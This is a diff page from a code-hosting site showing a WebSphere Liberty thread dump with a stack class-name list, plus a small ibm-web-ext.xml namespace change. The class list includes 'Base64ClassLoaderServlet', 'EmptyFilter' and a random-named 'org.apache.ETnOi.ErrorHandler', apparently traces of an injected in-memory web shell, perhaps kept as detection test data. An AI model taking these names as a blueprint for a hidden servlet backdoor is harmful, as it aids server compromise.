java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-20" #89 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@5ec8a99
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"sib.SpillDispatcher-77EB184637998288-2" #83 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@7895f131
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Bundle File Closer" #54 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@8dbbfe7b
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341)
|
||||
|
||||
"Inbound Write Selector.1" #101 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"JIT Compilation Thread-001 Suspended" #3 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"sib.SpillDispatcher-77EB184637998288-0" #81 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@9f2deceb
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Active Thread: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #31 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@efe1c97a
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Concurrent Mark Helper" #13 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Inbound Write Selector.1" #72 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"NotifyHelper" #76 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$NotifyHelper@52c8c6fc
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at com.ibm.ws.objectManager.FileLogOutput$NotifyHelper.run(FileLogOutput.java:3340)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-9" #59 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fe553142
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Default Executor-thread-16" #69 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d8e80ee0
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"sib.SpillDispatcher-77EB184637998288-6" #87 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@e3033110
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Attach API wait loop" #26 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at openj9.internal.tools.attach.target.IPC.waitSemaphore(Native Method)
|
||||
at openj9.internal.tools.attach.target.CommonDirectory.waitSemaphore(CommonDirectory.java:259)
|
||||
at openj9.internal.tools.attach.target.WaitLoop.waitForNotification(WaitLoop.java:66)
|
||||
at openj9.internal.tools.attach.target.WaitLoop.run(WaitLoop.java:154)
|
||||
|
||||
"Timer-3" #44 daemon [TIMED_WAITING] on java.util.TaskQueue@4eb4e0f7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"sib.SpillDispatcher-77EB184637998288-3" #84 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@6336802
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Timer-5" #79 daemon [TIMED_WAITING] on java.util.TaskQueue@52088b4f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"Timer-4" #56 daemon [WAITING] on java.util.TaskQueue@6e059e8d
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||
at java.util.TimerThread.run(Timer.java:505)
|
||||
|
||||
"Default Executor-thread-17" #73 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@2972cf6f
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Start Level: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #37 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@8e2c1fd4
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
|
||||
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341)
|
||||
|
||||
"Shared TCPChannel NonBlocking Accept Thread" #62 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #38 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:823)
|
||||
|
||||
"System defaultME : 0" #91 daemon [WAITING] on java.lang.Object@88d960a
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at com.ibm.ws.sib.processor.utils.am.MPAlarmThread.run(MPAlarmThread.java:238)
|
||||
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1670)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
Base64ClassLoaderServlet
|
||||
EmptyFilter
|
||||
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter
|
||||
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock
|
||||
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable
|
||||
com.ibm.ws.http.channel.internal.inbound.HttpInboundLink
|
||||
com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink
|
||||
com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper
|
||||
com.ibm.ws.kernel.boot.Launcher
|
||||
com.ibm.ws.kernel.boot.cmdline.EnvCheck
|
||||
com.ibm.ws.kernel.boot.internal.KernelBootstrap
|
||||
com.ibm.ws.kernel.launch.internal.FrameworkManager
|
||||
com.ibm.ws.kernel.launch.internal.FrameworkManager$4
|
||||
com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl
|
||||
com.ibm.ws.kernel.launch.internal.ServerCommandListener
|
||||
com.ibm.ws.objectManager.FileLogOutput$FlushHelper
|
||||
com.ibm.ws.objectManager.FileLogOutput$NotifyHelper
|
||||
com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper
|
||||
com.ibm.ws.security.jaspi.JaspiServletFilter
|
||||
com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread
|
||||
com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager
|
||||
com.ibm.ws.sib.processor.utils.am.MPAlarmThread
|
||||
com.ibm.ws.tcpchannel.internal.ChannelSelector
|
||||
com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback
|
||||
com.ibm.ws.tcpchannel.internal.WorkQueueManager
|
||||
com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker
|
||||
com.ibm.ws.threading.internal.BoundedBuffer
|
||||
com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper
|
||||
com.ibm.ws.util.BoundedBuffer
|
||||
com.ibm.ws.util.ThreadPool
|
||||
com.ibm.ws.util.ThreadPool$Worker
|
||||
com.ibm.ws.webcontainer.WebContainer
|
||||
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper
|
||||
com.ibm.ws.webcontainer.filter.WebAppFilterChain
|
||||
com.ibm.ws.webcontainer.filter.WebAppFilterManager
|
||||
com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2
|
||||
com.ibm.ws.webcontainer.servlet.CacheServletWrapper
|
||||
com.ibm.ws.webcontainer.servlet.ServletWrapper
|
||||
com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40
|
||||
openj9.internal.tools.attach.target.CommonDirectory
|
||||
openj9.internal.tools.attach.target.IPC
|
||||
openj9.internal.tools.attach.target.WaitLoop
|
||||
org.apache.ETnOi.ErrorHandler
|
||||
org.apache.felix.scr.impl.ComponentActorThread
|
||||
org.apache.yoko.orb.OB.GIOPServerStarterThreaded
|
||||
org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter
|
||||
org.apache.yoko.orb.OCI.IIOP.Acceptor_impl
|
||||
org.eclipse.osgi.container.SystemModule
|
||||
org.eclipse.osgi.framework.eventmgr.EventManager$EventThread
|
||||
org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle
|
||||
org.eclipse.osgi.launch.Equinox
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<web-ext>
|
||||
<web-ext
|
||||
xmlns="http://websphere.ibm.com/xml/ns/javaee"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://websphere.ibm.com/xml/ns/javaee http://websphere.ibm.com/xml/ns/javaee/ibm-web-ext_1_0.xsd"
|
||||
version="1.0">
|
||||
<context-root uri="/app"/>
|
||||
</web-ext>
|
||||
Reference in New Issue
Block a user